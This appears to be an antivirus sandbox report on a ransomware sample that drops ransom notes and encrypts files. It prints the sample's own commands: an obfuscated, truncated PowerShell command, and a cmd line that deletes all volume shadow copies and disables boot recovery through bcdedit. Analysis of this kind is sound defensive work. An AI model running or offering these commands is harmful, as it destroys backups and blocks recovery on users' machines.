Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\xr87v9-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpg
- %HOMEPATH%\desktop\trivial-merge.html
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\sdksampleprivdeveloper.cer
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\pushkin.jpg
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\parnas_01.jpg
- %HOMEPATH%\desktop\parnas_01.jpeg
- %HOMEPATH%\desktop\lisp_success.doc
- %HOMEPATH%\desktop\ituneshelpunavailable.html
- %HOMEPATH%\desktop\howto-index.html
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\dialmap.bmp
- %HOMEPATH%\desktop\dashborder_144.bmp
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\correct.avi
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\coffee.bmp
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\adadsi.html
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies file system
Creates the following files
- %HOMEPATH%\rbwkxz.exe
- %HOMEPATH%\contacts\xr87v9-readme.txt
- C:\users\public\videos\xr87v9-readme.txt
- C:\users\public\recorded tv\xr87v9-readme.txt
- C:\users\public\pictures\xr87v9-readme.txt
- C:\users\public\music\xr87v9-readme.txt
- C:\users\public\libraries\xr87v9-readme.txt
- C:\users\public\favorites\xr87v9-readme.txt
- C:\users\public\downloads\xr87v9-readme.txt
- C:\users\public\documents\xr87v9-readme.txt
- C:\users\default\videos\xr87v9-readme.txt
- %HOMEPATH%\documents\xr87v9-readme.txt
- C:\users\default\saved games\xr87v9-readme.txt
- C:\users\default\pictures\xr87v9-readme.txt
- C:\users\default\music\xr87v9-readme.txt
- C:\users\default\links\xr87v9-readme.txt
- C:\users\default\favorites\xr87v9-readme.txt
- C:\users\default\downloads\xr87v9-readme.txt
- C:\users\default\documents\xr87v9-readme.txt
- C:\users\default\desktop\xr87v9-readme.txt
- C:\users\public\desktop\xr87v9-readme.txt
- C:\far2\plugins\compare\xr87v9-readme.txt
- %HOMEPATH%\downloads\xr87v9-readme.txt
- %HOMEPATH%\favorites\msn websites\xr87v9-readme.txt
- %HOMEPATH%\favorites\microsoft websites\xr87v9-readme.txt
- %HOMEPATH%\favorites\links for united states\xr87v9-readme.txt
- %HOMEPATH%\favorites\links\xr87v9-readme.txt
- C:\users\public\videos\sample videos\xr87v9-readme.txt
- C:\users\public\recorded tv\sample media\xr87v9-readme.txt
- C:\users\public\pictures\sample pictures\xr87v9-readme.txt
- C:\users\public\music\sample music\xr87v9-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\xr87v9-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\xr87v9-readme.txt
- %HOMEPATH%\desktop\xr87v9-readme.txt
- C:\far2\addons\colors\default_highlighting\xr87v9-readme.txt
- C:\far2\addons\colors\custom_highlighting\xr87v9-readme.txt
- %HOMEPATH%\voip\xr87v9-readme.txt
- %HOMEPATH%\videos\xr87v9-readme.txt
- %HOMEPATH%\searches\xr87v9-readme.txt
- %HOMEPATH%\saved games\xr87v9-readme.txt
- %HOMEPATH%\pictures\xr87v9-readme.txt
- %HOMEPATH%\music\xr87v9-readme.txt
- %HOMEPATH%\links\xr87v9-readme.txt
- C:\far2\addons\xlat\russian\xr87v9-readme.txt
- %HOMEPATH%\favorites\xr87v9-readme.txt
- C:\far2\pluginsdk\headers.pas\xr87v9-readme.txt
- C:\far2\pluginsdk\headers.c\xr87v9-readme.txt
- C:\far2\plugins\tmppanel\xr87v9-readme.txt
- C:\far2\documentation\xr87v9-readme.txt
- C:\users\default\xr87v9-readme.txt
- C:\totalcmd\language\xr87v9-readme.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\xr87v9-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\xr87v9-readme.txt
- <Current directory>\~$<File name>.doc
- C:\far2\pluginsdk\xr87v9-readme.txt
- C:\far2\plugins\xr87v9-readme.txt
- C:\far2\fexcept\xr87v9-readme.txt
- %HOMEPATH%\favorites\windows live\xr87v9-readme.txt
- %HOMEPATH%\xr87v9-readme.txt
- C:\far2\addons\xr87v9-readme.txt
- C:\users\xr87v9-readme.txt
- C:\totalcmd\xr87v9-readme.txt
- C:\recovery\xr87v9-readme.txt
- %ProgramFiles(x86)%\xr87v9-readme.txt
- %ProgramFiles%\xr87v9-readme.txt
- <Current directory>\xr87v9-readme.txt
- C:\far2\xr87v9-readme.txt
- C:\xr87v9-readme.txt
- C:\far2\encyclopedia\xr87v9-readme.txt
- C:\far2\plugins\ftp\lib\xr87v9-readme.txt
- C:\far2\addons\colors\xr87v9-readme.txt
- C:\far2\addons\shell\xr87v9-readme.txt
- C:\far2\addons\macros\xr87v9-readme.txt
- C:\far2\plugins\proclist\xr87v9-readme.txt
- C:\far2\plugins\network\xr87v9-readme.txt
- C:\far2\plugins\macroview\xr87v9-readme.txt
- C:\far2\plugins\hlfviewer\xr87v9-readme.txt
- C:\far2\plugins\ftp\xr87v9-readme.txt
- C:\far2\plugins\filecase\xr87v9-readme.txt
- C:\far2\plugins\farcmds\xr87v9-readme.txt
- C:\far2\plugins\emenu\xr87v9-readme.txt
- C:\far2\addons\setup\xr87v9-readme.txt
- C:\far2\plugins\editcase\xr87v9-readme.txt
- C:\users\public\xr87v9-readme.txt
- C:\far2\plugins\brackets\xr87v9-readme.txt
- C:\far2\plugins\autowrap\xr87v9-readme.txt
- C:\far2\plugins\arclite\xr87v9-readme.txt
- C:\far2\plugins\align\xr87v9-readme.txt
- C:\far2\encyclopedia\tap\xr87v9-readme.txt
- C:\far2\documentation\rus\xr87v9-readme.txt
- C:\far2\documentation\eng\xr87v9-readme.txt
- C:\far2\addons\xlat\xr87v9-readme.txt
- C:\far2\plugins\drawline\xr87v9-readme.txt
- D:\xr87v9-readme.txt
Moves the following files
- from <Current directory>\~$<File name>.doc to <Current directory>\~$<File name>.doc.xr87v9
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.xr87v9
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
